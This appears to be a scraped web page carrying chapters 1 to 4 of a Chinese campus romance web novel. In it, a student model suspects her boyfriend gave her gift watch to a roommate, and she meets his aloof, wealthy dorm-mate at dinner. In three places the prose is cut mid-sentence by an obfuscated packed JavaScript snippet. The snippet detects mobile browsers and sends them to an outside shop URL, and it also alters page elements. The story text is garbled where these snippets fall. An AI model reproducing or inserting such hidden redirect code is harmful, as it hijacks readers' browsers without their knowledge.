《你却把手勾》 1. 第 1 章 天空像是刚下过雨,灰蓝色的天空中布着还未消散的乌云,沉沉的往下压。 但是气温并没有降低,蒸腾的水珠随着空气黏在人们裸露的皮肤上,潮热难忍。 六中的办公室门口,女生穿着校服依墙站立。 白色的衬衫和蓝色的条纹短裙衬出她纤细苗条的身材,一侧的小腿袜被刻意地拉低到脚踝处,露出笔直白皙的长腿。 扎成半高马尾的头发稍许凌乱,五官白净立体。 她面前,有个老师在说话:“你这种情况,现在学校只能劝退……如果同意,就尽快让你家长过来签字。” “我们也尽到了最大的努力去争取让你留下来,但是问题你也知道……” …… 女生自始至终都没出声,说到最后她点点头。 远处传来上课铃声,走廊上几个男生匆匆走过,当中的那个男生尤为瞩目,黑发,白色校服,即使上课铃声响,他的步伐依旧不紧不慢。 似乎是察觉到谁的目光,他忽然抬头看向这边。 隔着这么远的距离,许还今依旧看清了对方的脸,男生五官俊美,鼻梁上有一颗淡色小痣。 像是谁不经意地用笔轻触了下,情深义重却有淡得看不清。 霎时间,许还今猛然惊醒。 车窗外天依旧沉的像要下雨,但是空气中却没有风在流通,连公交车里都略显沉闷。 旁边的阿姨被她的动静惊了下,回头关心问:“小姑娘累了啊?” 许还今从高中毕业开始就一直在兼职做模特赚生活费,这个五一假期她接了好几个拍摄,直到今天下午才刚忙完,长久的拍摄让她手都是酸的。 她微笑着回答:“有点。” “你们小姑娘上学是累的,上高中了还是大学?” “大学,南江大学大二。” 阿姨惊讶道:“这所学校在我们本地分数很高的,小姑娘你老家哪里的?” “镇川,在西南那边。” 阿姨不了解镇川这个地方,但大概猜到是个小地方,又夸道:“这么远?怎么想到考南江的?” 许还今被问的愣神一瞬,随即说:“这边学校刚好分数符合,就报了。” 聊了几句,下一站阿姨很快下车,随着公交车上“南江大学北”的播报响起,许还今也下车。 今天是假期的最后一天,南江大学原本空旷的校园迎来了返校高峰期。 校主干道浓绿的梧桐树荫下三三两两的学生推着行李箱经过。 天气闷热,从主干道出来还要穿过教学区,实验楼才能到宿舍区,基本上大部分返校的人走到一半时已经热的不行了。 许还今背着包从校门口走到实验楼,手机屏亮了下,她低头看消息,是室友康婷,让她帮忙从便利店里带瓶可乐。 【快来快来,我已经在宿舍了,好渴好想喝可乐!】 许还今回复【好,我马上就到】 实验楼前面就有一家便利店,她便走边看消息,刚走到实验楼附近,看见一个身材健硕的男生正站在树下东张西望。 几秒后对方也瞥见许还今了,立刻小跑过来:“还今,刚回来?” 他过来伸手要接许还今手里的包,许还今微不可见地侧身避开:“不重,我自己背着,你怎么来了?” 陈深说:“我刚返校,想着你今天下班就赶紧过来看看。” 许还今轻轻点头,语气很淡地“嗯。” 陈深是许还今的男朋友,体育生,两人以前是高中同学,考上同一所大学后逐渐熟悉,发展成恋爱关系。 恋爱的三个月以来感情一直很稳定,但最近却发生了一些矛盾。 起因是许还今发现自己送给陈深生日礼物不见了,一块冰蓝色表盘的飞行员手表。 手表虽然不算多奢侈的名表,但也是一家百年老牌子招牌款式,这个型号的手表早在世纪初就停产了,价格一度水涨船高。 许还今还是因为在拍模特图的时候偶然认识一个杂志社编辑有,以五位数的原价卖给她的。 陈深当时很喜欢,一直都带着,但从假期前几天开始,他没再戴过那块表。 她问过陈深,陈深一开始没当回事说可能落在训练场了,有时体育训练老师不让学生戴首饰,就随手脱在哪了,等他回去就找。 但一直到今天,许还今瞧了眼他仍旧空无一物的手腕,也没有再说话。 陈深跟着她走了两步,仍然讨好地解释:“手表我可能放在宿舍,前几天收拾东西不知道掉哪了。这几天放假,我回头就让舍友他们都帮忙找找,找到了我就戴上。” 陈深说:“宝宝,我不是故意弄丢的,你也知道我有点粗心。” 这个假期两人也因为此事联系变少,陈深在家一天能给许还今发几十条消息,这些话她在早在消息里就看过好多遍。 许还今回了一声好,快走到便利店门口时说:“你先找,找到了再说。” 陈深说:“那当然,我肯定会找。”他说着想搂许还今的肩膀,许还今微不可见的避开,“我晚上还要写采访稿,你没事先回去。” 许还今她们班新闻写作课的老师很严格,每次作业都要算入平时分,而且一到放假必布置采访稿。 陈深正要说话,后面有人叫他的名字:“陈深?你怎么还在这,秦新月呢,晚上聚餐到底怎么说啊?” 是他同班的一个同学,陈深正因为许还今对他的态度而烦着,回头说:“她在哪管我什么事?聚餐你问班委。” 对方觉得稀奇:“你tm自己就是班长,我不问你还逮着哪个班委问?” 陈深挠头,对方又看见许还今了,连忙叫:“嫂子好!” 许还今轻轻点头回应,趁着男生拉住陈深问晚上聚餐的空隙往便利店里走。 一进去气温骤降,燥热感逐渐消散。 许还今进去在冰柜里拿了瓶可乐,拿完想着今天还要写一个采访稿,可能没时间吃晚饭,便起身打算买个面包。 面包在另外一个货架,许还今刚走过去,正弯腰看货架上的东西,旁边货架尽头传来几声交谈。 先是一个刻意压软的女声:“同学你是哪个学院的呀,能加个vx吗?” 应该是谁在要vx,这么甜的声音,大概对面那男生长得很和她口味。 过了两秒,男生接话,语调中带这些没睡醒的困倦:“抱歉,我没带手机,你找我有事吗?” 要vx还能有什么事情? 肯定是恋爱相关,但大概是男生问的实在是理所当然并且困惑的十分真诚,女声那边顿了下。 许还今平时拍摄需要见的客户和摄影师比较多,不同的人有不同的特征,因此她也慢慢养成了记人的本领,会从声音,体型分辨对方是谁。 就刚才这一声,许还今已经认出来尽头的男生是谁了。 男友陈深的舍友,祁绍。 陈深他们宿舍是混寝,除了陈深之外还有三个是经管学院的,祁绍就是其中之一,学的是金融专业。 关于他最显著的两点应该是长得帅,有钱。 刚进校那会就是风云人物,顶着一张巨帅的脸站在太阳下训练,一下午能被别人拍几十张照片。 那时候天天都有人去经管学院的训练场还看他,但他本人好像不喜欢被围观,后来干脆除了上课都很少出门。 久之久而,在学校里名声也渐渐下去了。 许还今和他的接触也很少,就低头选面包,超市人不多,尽头的交谈声依旧能清晰得落入她耳朵里。 “你找我有事的话可以联系我朋友,”祁绍开始熟练地出卖朋友:“王行泽,段正年?你要哪个?” 这两个也都是学校里比较出名的帅哥。 女生正愁不知道该怎么回答刚才哪个问题,闻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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随即许还今从货架上拿了一个面包去前台结账。 回到宿舍,只有康婷在。 许还今的宿舍也是四人混寝,康婷和她同专业,都学的是新闻学,而其他两个女生都是体育学院的,还和陈深同班。 许还今平时除了上学就是要拍模特图,经常一下课就赶去拍摄场地,有时候两个通告之间时间紧,她干脆会在学校外过夜。 因此平时和舍友的联系很少,只和康婷稍微亲近点。 康婷见她回来,兴奋起身拿饮料,问:“你假期一直在学校,有写采访稿吗借我参考。” “还没,最近几天都忙,”许还今说:“我现在写。” “好吧,那你写完借我看,我还在追综艺,拜托拜托,”康婷假期都在疯玩,还是来到学校才想起来老师还布置了采访稿作业。 许还今笑笑说好。 老师布置的作业是模拟采访,选题自定,许还今做事的时候很认真,一篇两千字的采访稿半个小时就写完了。 她写完起身拿给康婷,康婷还在看综艺,抱着她道谢,又说:“哦对了,刚才秦新月她们发消息说晚上不回宿舍了,说是班上组建的体操队比赛获奖了,今天要在外面庆祝。陈深是不是也是体操队的,他说过了吧?” 刚才写作业时许还今的手机就放在一边,确实收到了陈深的消息,也说了他们班上要去聚餐,但是没说和谁。 许还今点头,没有多谈,“嗯,说了。” “说了就好,”康婷回头看综艺。 许还今从桌上拿了卸妆水,打算卸妆睡觉,路过另外一个舍友秦新月的座位时,视线在她桌面上落了一秒。 淡黄色的桌面上大大咧咧地放着一块手表。 冰蓝色盘的款式—— 和之前许还今送给陈深的那块一模一样。 2. 第 2 章 第二天许还今满课,从早八一直上到晚上六点十五,下课之后她才看手机。 陈深发了几十条消息,许还今从下往上翻。 消息中一大半是在报备他在干什么,打球、吃饭,零星几条问她是不是在上课怎么不回消息。 剩余的,就是在解释他手表的事情。 这件事的起因是那天舍友康婷过生日,邀请了许还今,当时许还今还特意推了一个通告回来。 晚上聚餐的时候秦新月戴了一块冰蓝盘手表,颜色十分吸睛,刚坐下来就有人好奇地问她是什么时候买的,怎么之前没见她戴过。 秦新月说不是买的,别人送的。 她长相漂亮,再加上性格外向,平时追求者不少,送花送戒指的都有,之前在宿舍几个舍友也打趣过。 于是大家故意调侃地“哦”了好几声,问她是谁送的。 秦新月晃晃手表,笑着说:“不告诉你们。” 大家便又笑了几声,开了好几句玩笑,许还今本来也没有特别关注这件事。 还是回去的时候她去厕所补妆,秦新月也进来,问许还今有没有带散粉,借她用一下。 许还今皮肤白,散粉用的也都是最白的色号,平时在宿舍大家化妆品借来借去,但很少会有人会向许还今借。 不过既然秦新月开口,许还今便翻出来给她。 然后就注意到了她的手表。 蓝色表盘,许还今一眼就认出来这是某个牌子的飞行员手表,五位数的手表,她曾经送过陈深一块。 陈深很喜欢,一直都带着,但最近好像没看着他戴。 许还今把散粉给秦新月,秦新月问了一句:“你用这么白的色号啊?” 许还今说:“拍杂志的时候用的多,就随身带着了。” 秦新月拍着散粉,又说:“你们当模特的就是不一样。” 这话有淡淡的、说不清道不明的意味。 “我还忘记跟你说一件事了,”秦新月以一副分享八卦的姿态说:“昨天晚上有特技训练,陈深的动作特别好笑,他还被我们老师说动作不规范。” 室友之间,许还今和秦新月的交际很少。 除了偶尔秦新月会提醒许还今陈深今天会训练到很晚,或者是告诉她陈深哪项训练做的很差,就像现在一样。 往常许还今也没有多想,但今天……许还今视线很轻地落在她身上,又轻散地点头回应。 回去的路上许还今发消息问陈深他的手表还在吗,陈深很快回消息说当然在,最近训练多,怕碰着,就放在宿舍了。 许还今说如果还在明天吃饭的时候就戴上,陈深那边不明所以,回道【好,宝贝我回去就戴上】 但直到今天他也没有再戴过。 陈深的解释很合理。 C.S【我放在宿舍,前几天收拾东西不知道掉哪了】 C.S【这几天训练忙,我到时候让舍友他们都帮忙找找】 C.S【找到了我就戴上】 C.S【宝宝,我不是故意弄丢的,你也知道我有点粗心】 …… 许还今一直没说出自己的怀疑,毕竟那款表虽然少见,但也不是买不到,也许秦新月真的有一块差不多的手表。 她让陈深先去找那块冰蓝盘手表,找到了一切好说。 X.【你先找,找到了再说】 陈深晚上应该没课,回消息很快【我在找了,宝宝晚上一起吃饭吗,刚好我宿舍其他人也在,叫上你们宿舍一起?】 他随即发了一个小狗求饶的表情包。 手机那边,许还今都能想到他期待的表情。 许还今过几天要忙着拍摄。 她是小模特,虽然长得漂亮但一没签公司二没背景,找她的拍摄的大部分都是电商,按小时计费,内景一个小时四百。 但这钱赚的也不轻松,一件衣服穿了摆完动作马上下一件,穿脱穿脱……每次拍摄都是连轴转,一刻空闲都没有。 她每次大概过去拍三个小时,拍完人都能累瘫。 比这赚钱的是平面和车展礼仪模特,不过平面杂志许还今能接到的资源有限,所以基本没途径拍。 至于车展模特,陈深不同意她去这里。 许还今当时听到他说这话时正在写作业,她安安静静地写了几行字,点下头,同意了。 那只能拍模特图,累归累,还是能赚到钱的。 还记得入学那一年,许还今在暑假的时候提前从平昌来到南江,和别人合租了一间房子,两室一厅,住了四个人。 早上天不亮起床,到最大的拍摄场地等摄影师,一起来面试的模特很多,商家和摄影师都要挑人。 运气好一天能拍很多单,运气不好,一天全白费功夫。 许还今不用担心这一点,她外形条件不错,之前又有拍摄经验,往往摄影师见她的第一面就会指定她来担任模特。 一天从早拍到晚,两个月赚够了学费,生活费还有其他乱七八糟的开销。 就是忙起来脚不沾地,除了学校各个拍摄场地之间连轴转,连吃饭的时间都一缩再缩。 许还今想着过几天是拍摄高峰期,可能没空,终于还是发道【嗯,可以】 随着这句话发出,陈深那边马上发了个欢欣雀跃的表情包,许还今也没再回复,放下手机。 体院那边晚上还有训练,许还今在寝室写完新闻稿到六点多,薛彩才回来。 她进来看见宿舍就许还今一个人,问道:“康婷跟男朋友出去了?” 许还今点头:“嗯,他们去吃晚饭了。” 薛彩问道:“陈深今天训练的时候说和你商量过了,要请宿舍的人吃饭,待会一起去?” 许还今和薛彩的关系还可以,她点点头:“嗯。” “那等秦新月回来,”薛彩说:“她留在操场跟陈深一起加训,最近体操队有比赛很忙。” 薛彩和秦新月,还有陈深三人都是校体操队的,平时经常会一起训练。 许还今稍微顿了下,随即若有似无地点头,说好。 * 晚上七点,秦新月在群里发了一句【训练结束了,我和陈深在校门口等你们,赶紧来。】 薛彩本来瘫在椅子上刷手机,看到这条消息立马语音发道:“不是说好了先回宿舍吗?那你们先等一会,我和还今马上到。” 她发完,许还今这边才收到陈深的消息【宝宝来三号门,待会我们一起打车过去】 许还今回复了一句【嗯】 C.S【等你宝宝】 * 到地方时陈深正和秦新月站在一起低头说话,两人都穿着白黄色的训练服,远远看上去像情侣装一样。 许还今走近,还是秦新月推了一把陈深,他才抬头惊喜地说:“这么快,我以为还要等一会,宝宝,这!” 旁边还有几个陈深宿舍的男生,听见声音纷纷回头。 三个人中两个没戴眼镜的和陈深同专业,一个外号叫毛猴,一个叫钱吊车。 还有一个是金融系的研究生学长,叫何所,戴着一副黑框眼睛,非常老实。 这三人也认识许还今,见到许还今纷纷抬手叫嫂子,连何所都凑热闹跟着叫了一声。 许还今微微笑,点头致意。 她穿着一件蓝色的掐腰衬衫,衣服最顶上的一颗扣子敞着,露出一截细腻优美的锁骨,锁骨上有颗淡色的痣,很瘦。 化着浓妆,睫毛纯黑,却一点也不显俗气。 抿唇微笑时露出浅浅的梨涡,格外风情迷人。 钱吊车夸道:“几天不见嫂子又漂亮了,深哥好福气!” 女朋友漂亮陈深自觉脸上有光,伸手就要搂过许还今,抬腿作势往钱吊车屁股上踹一脚:“用得着你说?” 许还今不着痕迹地避开,问道:“人到齐了吗,打车吧。” 陈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17067278|195166||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 深搂了个空,但也没多想,收手往后看了一眼问:“祁绍呢,他什么时候来?” 许还今听到这个名字时微微一顿。 旁边的薛彩也听过这个大名,眼睛一亮,顿时问道:“祁绍?他也来吗,早知道我化个妆了。” “听你这话,你也对我们祁绍有想法?”钱吊车开了句玩笑:“那竞争不小哦。” 他刚说完,毛猴补充说:“不用想了,连竞争都不用,祁绍寡王,谁都没机会。” 作为南江大学开学就引起轰动的帅哥,从大一开始想追祁绍的女生就络绎不绝,连何所都有意无意地被人问过能不能推祁绍的联系方式。 但就像毛猴说的,谁都没机会,甚至这几年就没听说过有哪个女生成功加上了他。 薛彩不甘心地说:“我又没想法,想看帅哥不行啊?!” “好了,”陈深强行打断,说道:“钱吊车给他打个电话问问到哪了,别是打完游戏又睡过去了。” 手机外放,许还今站在旁边听得一清二楚,铃声响了半分钟那边才接起。 男生声音里带着没睡醒的沙哑,懒散地问:“谁?” “我,钱吊车,今天晚上宿舍聚餐,你还在睡啊?王行泽说他回宿舍叫你,他没去?” 王行泽是男生宿舍和祁绍同班的人。 那边背景音里传来开门声,祁绍闷声说:“来了。” “行行,”钱吊车说:“你们俩待会一起打车过来,我们就不等你了,先去餐厅点菜,祁绍,绍,听见了吗?” “嗯,听见了。” * 挂断电话,祁绍是被人强行拉上出租车的。 他昨天通宵打游戏,觉还没补完,坐上车还困着。 王行泽和他坐在后排,说:“一会吃饭有的戏看了。” “嗯?”祁绍不明所以。 王行泽压低声音:“你是不是还不知道,陈深和他女朋友从假期前就没在一块吃饭了。” 306寝室里的六个男生,除了祁绍其他多多少少都谈过。 陈深和他女朋友听说从大一上学期就开始谈了,两人如胶似漆,连上课都一起去。 不过, “这和今天的饭有关系吗?”祁绍问:“再说,你关注别人女朋友干吗?” 王行泽和祁绍都是一个专业的,又是上下铺,关系比宿舍其他人更亲近一些。 王行泽闻言道:“还需要我关注?他女朋友你知道谁吗,天天在论坛和表白墙上挂着,我想不关注都难。” 祁绍还真没关注过他女朋友叫什么名字,随口问道:“谁?” “许还今啊!” 王行泽说:“隔壁新闻系女神!还是模特,长的老漂亮了,开学上台讲话的学生代表里就有她,你记不记得?” 祁绍:“不记得。” 王行泽:“……” 同寝快一年,王行泽也知道祁绍这人除了游戏,别的什么都不关注,连同班的女生都记不住,更别说是其他学院的了。 王行泽说:“那你没记住真是亏了,脸巨美,腰巨细,陈深找到这个女朋友也算是他祖坟冒青烟了。” 祁绍就不是八卦的性格,他对舍友的感情生活没有任何了解的欲望。 身体往后仰,想找个舒服的姿势再睡会。 王行泽见状说了句:“我艹,希望这次他们俩要么分的干脆点,要么和好,陈深也能正常点,别在宿舍发疯了,不然我他吗真受不了了。” 五一假期前不知道是不是因为感情不顺利,陈深的情绪不稳定,在宿舍频繁踹门,挥拳砸桌子,跟jb有狂犬病一样。 其他舍友烦他烦得不行。 但祁绍往往是降噪耳机一戴,两耳不闻窗外事,唯有刚枪声声声入耳,对陈深的发疯视而不见。 他对王行泽的吐槽无法感同身受,闻言敷衍地嗯了一声,合眼说:“感情又不光看外表,你管人家。别吵,我睡会。” 3. 第 3 章 到了餐厅,菜才刚点还要一会才能上,女生趁着这个功夫去外面的超市采购宿舍的日用品。 桌上男生在聊着天,见到祁绍,钱吊车率先推了推自己身边的空椅子招呼说:“祁绍,过来坐。” 祁绍不挑位置,过去坐下。 结果王行泽加了张椅子硬是挤在他们俩中间。 钱吊车顿时笑了,推推他肩膀说:“我好不容易跟祁绍坐一块,你挤进来干吗?滚滚!” 王行泽屹立不动,说道:“祁绍不乐意跟你坐,行了钱吊车,我和你坐一块已经是给你面子了。” 说说笑笑,桌上话题不断。 几个男生凑在一块,特别是当中还有几个体育生时,最常聊的就是女生。 什么时候开始谈恋爱的,该怎么谈恋爱这些。 然后又聊起哪个女生漂亮,钱吊车跟王行泽说:“今天除了嫂子还来了两个女生,都是我们体育学院的大美女。” 毛猴说:“秦新月?眼睛太大了,不喜欢。” 钱吊车说:“你懂什么,就是眼睛大才又有无辜的感觉。” 几人七嘴八舌地聊着,又问祁绍:“祁绍,你喜欢什么类型的女生?” 祁绍过来就坐在位置上等饭,刚想说不知道,一抬眼,瞥见门口走进来几个女生,最右侧的女生穿着一件褪蓝色掐腰衬衫。 不知道是她太瘦还是衬衫腰线掐的不多,女生的腰线没有完全显露,衬衫显得有些空荡。 半低马尾,脸侧有几缕乌色的卷发垂下。 一般褪蓝色这个颜色的衣服很难驾驭,一不小心就会穿的有种老气感,但这个女生穿上去却没有这种感觉。 尽管她没戴口罩,可身上似乎有种迷雾一样的气质,远远地瞥见她,祁绍5.3的好视力都莫名觉得她脸看得清又看不清。 外貌不俗,但气质比外貌还夺目。 让祁绍莫名想起前天在超市遇见的那个戴着口罩的女生。 他朝前随意地轻点下巴说:“蓝衣服那种吧,还没遇见喜欢的。” 这还是祁绍一次透露自己喜欢什么样的女生,众人纷纷好奇地朝前看,然后等到所有人看清对方的脸,又全体不约而同地沉默住。 全场唯一的老实人何所带着眼镜,瞪大眼细看,老实地说:“可穿蓝衣服的,不是陈深的女朋友许还今吗?” 祁绍:“……” 祁绍的动作顿住:“……??!我靠?!” * 当着舍友的面说自己喜欢他女朋友,这实在太突破道德底线了。 何所的老实话说完,场上的沉默仍旧在蔓延,祁绍尴尬地摸了摸鼻子,真心实意地朝陈深道歉:“不好意思,我不知道她是你女朋友。” 王行泽也赶紧在旁边打圆场,违心地说:“祁绍视力不好,可能没看清。” 钱吊车补充着:“祁绍天天在宿舍打游戏,不认识嫂子也正常。” 但他们这样一说,似乎更加奇怪了。 话里话外的意思不就是,“虽然祁绍喜欢这个类型,但是他要是知道那是你女朋友,祁绍肯定不会说出来。” 那tm的不还是在说祁绍看上许还今了吗??! 陈深的脑子还没转过来弯,许还今她们已经走到眼前了,陈深只得匆匆说了句:“没事没事。” 许还今也注意到了祁绍两人,男生穿着简单的T恤,但依旧引人瞩目。 祁绍长得很帅,而且不像一般的男生,他的帅是很有少年感的帅。 下颌骨窄,鼻梁直翘,侧面鼻梁长着一颗淡色的小痣,眼皮深长的一道,但闭眼的时候没有任何痕迹。 即使到了大学还是很像初中、高中班级里那些很受女生欢迎的后排男生,跟陈深,王行泽他们站在一块完全不像是一个年龄段的人。 可能是没睡好,眼神还有点倦意,随着旁边的王行泽叫了声:“嫂子好。” 宿舍里陈深的年纪是最大的,祁绍这一声也无可厚非。 看起来他是真的不记得自己了,也对,毕竟他们上学那会就没交际,不是一个阶级的人,自己又很早转学。 时过境迁,许还今照例轻笑,点头致意。 她坐下之后,陈深开始向她和两个女生介绍祁绍和王行泽,先说的王行泽,然后他指指祁绍,简短地说:“祁绍,我舍友。” 说完,随后又揽住许还今的肩膀,宣誓主权般对祁绍说:“祁绍,这我女朋友,许还今。” 祁绍为了吃饭过来的,不愿多事,说:“嫂子你好,我是陈深的舍友祁绍,你叫我名字就好。” 许还今偏头,跟着他重复:“祁绍?” 字正腔圆,很干净的声音,祁绍摸了下杯子,点头:“嗯。” 许还今微笑应好,笑容弧度比刚才稍大,于是祁绍发现她有两颗小虎牙,一笑起来有些和外表不相符的俏皮感。 应该就是那天在超市的女生,原来她是陈深女朋友。 挺巧的 介绍完这两人,陈深又跟另外两个女生介绍祁绍。 秦新月跟陈深他们一个班的,虽然平时和306宿舍的交际不少,但也没见过祁绍几次,她外向地说道:“祁绍,我听过你哎,不过难得见你出来。” 毛猴说:“听过太正常了,我们祁绍曾经也是校园榜上赫赫有名的人物。” “军训一张照片传遍各大学院,金融系招进来一个超级大帅哥,长得帅,皮肤白,爱打游戏。” 钱吊车说:“毁也毁在这个爱打游戏上了,网瘾少年,除了上课都不出门。” …… 一边聊一边点菜,王行泽扫了桌上的点餐码,把手机推给祁绍问他喝什么饮料。 祁绍翻到最下面,点了一杯酸柠汁。 手机传了一圈,然后在陈深那边下单。 桌上话题还围绕着祁绍。 毛猴说:“今天祁绍能出来还是给了面子的,不然八抬大轿请不动这个祖宗。” 何所怨气颇深地补充:“他天天打游戏,居然还是专业第一,我不活了。” 王行泽一边拆餐具一边对何所说:“学长你看你这个印堂发黑的吊样,跟死也没差了,别带上我们祁绍了。” …… 他们说他们的,话题中心人物祁绍就像没听见一样,打开手机看游戏直播。 王行泽给他倒了一杯水,也顺便看了会直播,说:“这个主播水平太垃圾了,你看点好的。” 祁绍回道:“看水平差的解压。” 王行泽没话说,桌上的两个女生都性格外向,特别是秦新月本来就和306比较熟,很快挑起新话题,好奇地问道:“你们宿舍其他人都有外号,祁绍没有吗?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17067279|195166||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 何所说:“不止他没有,我也没有,王行泽也没有。” 毛猴的外号来自于他体考是学武术的,猴拳特招生,钱吊车这个外号就更加简单了。 他会开吊车,开学宿舍的自我介绍时他还特意强调自己的吊车技术登峰造极,简直是南江吊车王的水平,因此被称为钱吊车。 王行泽听到她问这个,来劲了,后靠在椅子上,手臂搭着祁绍的椅背说道:“哪里没有,祁绍的sao可以是绞丝旁‘绍’,也可以是浦江富少的‘少’,懂吗?” “浦江富少?”秦新月旁边的女生问:“这么厉害?” “那可不,”王行泽比了一个大拇指,“浦江富少,宿舍水电费,公用品全包,零食投喂更是不计其数,请客吃饭那也是不在话下。” 所谓花钱的是祖宗,祁绍天天在宿舍打游戏,还能收获如此地位全靠一个“壕无人性”,本来他大一就想搬去外面住,硬是被劝住留下来了。 秦新月笑着说:“小少爷吗?” 何所深沐皇恩,点头说:“祁绍是我们宿舍太上皇。” 他说完,陈深略带不满地说:“我平时也没少请你们吃饭,怎么没人叫我一句少爷?” 钱吊车说:“哇靠,你都有嫂子了还不知足?” 毛猴也说:“滚滚滚,嫂子这么漂亮你还在乎我们一句少爷?你就自己乐吧。” 陈深被这几句说的也不再关注刚才少爷的事情了,牵着许还今的手想往她脸上亲,许还今又小幅度地侧头躲开了。 幸好这个时候服务员来上饮料,两杯酸柠汁。 何所顿时一脸惊喜说:“这个酸柠汁我们都嫌太酸了,平时只有祁绍会点,这还是第一次有人跟他点一样的饮料。谁的?谁的?谁和我们太上皇这么有默契?” 还有一杯是许还今点的。 酸柠汁在浦江是常见饮品,但在许还今的家乡镇川却很少见,她转学之后就没再喝过了。 这次看到菜单上有才点了一杯,没想到祁绍也点了。 本来没什么事情,何所这样一说却有些莫名的意味。 但许还今也没刻意回避什么,轻声说:“我点的。” “……” 场上瞬间又莫名地静默了片刻。 陈深弯腰问许还今:“宝宝你喝这么酸的?要不要换一种喝?” “不用,”许还今说:“我喝习惯了。” 王行泽也觉得巧,但他没往深处想,就听懂了陈深话里有点不爽的意味,于是在底下扯了把祁绍的衣服。 祁绍伸手拿过酸柠汁喝了一口,三分甜七分酸,没理王行泽。 陈深听见许还今这么说也不好再讲什么,转身接酸柠汁要递给许还今。 正巧旁边过来几个吃过饭的人从中间穿过,人多路窄,有人往这边挤了一下,服务员手一抖,大半杯酸柠汁正好洒在陈深裤子上,迅速沿着布料洇开。 他顿时骂了句艹,服务员赶紧道歉:“对不起,对不起,我不是故意的,我再给您上一杯!!” 服务员看起来年级不大,许还今说道:“没事。” 她伸手拿纸张要给陈深擦拭,但有个人比她更快—— 秦新月率先拿过纸往陈深大腿上擦,迁怒道:“你服务员怎么当的,连杯饮料都端不好,万一伤到人了呢?” 许还今顿住。 4. 第 4 章 许还今顿住。 陈深还知道自己女朋友在这,连忙避开,“行了,谢谢,我不需要你。” 他随即扯了大团纸自己擦。 薛彩神经大条,嘻嘻哈哈地说:“队长你是不想还今和其他男人喝同一种饮料才故意打翻的吧,好能吃醋啊。” 陈深是体操队的队长,有时候大家都会这么叫他,陈深边擦裤子边笑着说:“别逗,你看我像这么小气的人吗?” 旁边钱吊车勾住他的肩膀,一本正经地说:“深哥,这我可就要说说你了,男人必须要大气,怎么能为这种小事就吃醋,大家说是不是?” 毛猴顺着玩笑附和:“你还怕祁绍和你抢嫂子吗,心胸广阔兄弟。” 何所推推眼镜,诚恳地说:“肯定是刚才祁绍说嫂子是他的理想……” “咳咳,”祁绍偏头低咳两声,警告意味明显。 王行泽赶紧一把捂住何所的嘴:“学长你吃个饭还这么多话,闭嘴闭嘴,都赶紧吃菜……” 这个小插曲就这么被略过去。 陈深擦了两下裤子就没再管衣服的事,拿起筷子招呼大家吃菜。 许还今做模特需要控制体重,她虽然瘦,但有时候拍摄方的要求很刁钻,给的衣服尺码也小,没办法,只好少吃再往下减。 即使是出来吃饭她也吃的很少,大部分时候都只夹蔬菜吃。 饭桌上话题总算从祁绍身上移走了。 毛猴和钱吊车正在拼命地为陈深的爱情努力着,饭桌上聊起的都是陈深和许还今的恋爱故事。 比如陈深打球许还今在一边看,比如陈深陪许还今一起去上课…… 许还今安静地听着,偶尔需要她附和的时候才会说一两句话。 这次吃饭点的是川菜,口味偏辣,尽管许还今只吃蔬菜但还是感觉到了辣意。 她正拿水杯倒茶,旁边突兀地有人放下一杯黄绿色的酸柠汁,祁绍的声音抓耳好听:“你喝这个,多放了蜂蜜,不酸。” 男生手指骨节分明,在透明的杯壁上轻握了瞬,撂下杯子就抽手。 酸柠汁是新的,应该是刚才大家开玩笑的时候他跟服务员重新要了一杯。 周全,礼貌,祁绍一直都没怎么变过。 许还今轻轻点头,说道:“谢谢。” “没事,”祁绍不在意:“多吃点。” 他说完这句很快转过头,许还今拿起酸柠汁喝了一口,确实比她之前喝过的要甜。 男生坐在她旁边,许还今只要稍微抬眼就能注意到旁边的动静。 比如桌上的菜似乎也不符合男生的胃口,他正在吃炒饭,除了偶尔被王行泽拉着说几句话之外,大多时候都没兴致开口。 但他喝酸柠汁很快,饭局才到一半祁绍仰头把剩下的酸柠汁喝完,然后起身要走。 他晚上要去网吧打游戏。 306宿舍也知道一般游戏赛季开始的那几天祁绍都要在网吧通宵,因此也没人多问什么。 王行泽在他走的时候提醒一句:“明天早八,别迟到了。” 祁绍挥挥手,点头道谢。 * * 祁绍到网吧,一夜通宵,打上最高段位,早上七点半他从网吧出来到隔壁罗森便利店买三明治。 顺便给王行泽发消息问他要不要带早饭。 王行泽说要包子。 祁绍买完东西回学校上课,踩着点进教室。 王行泽占了倒数第二排的位置,祁绍把包子递给他,随意翻开一页课本。 今天上的一门必修课,教课的是为五十多岁的老头,挂科率极高,而且上课很严肃,不允许同学们玩手机,交头接耳,一经发现立马就扣平时分。 但王行泽顶风作案,在下面跟祁绍说:“昨天你走的早,不知道最后多精彩……” 他话还没说完,祁绍被叫起来回答问题,王行泽赶紧正襟危坐。 祁绍眼皮困得睁不开,但耳朵还在听课,回答完问题老师又让他坐下。 然后王行泽又要说话,又是没说两句,台上的老师叫道:“祁绍,来回答一下这个问题。” 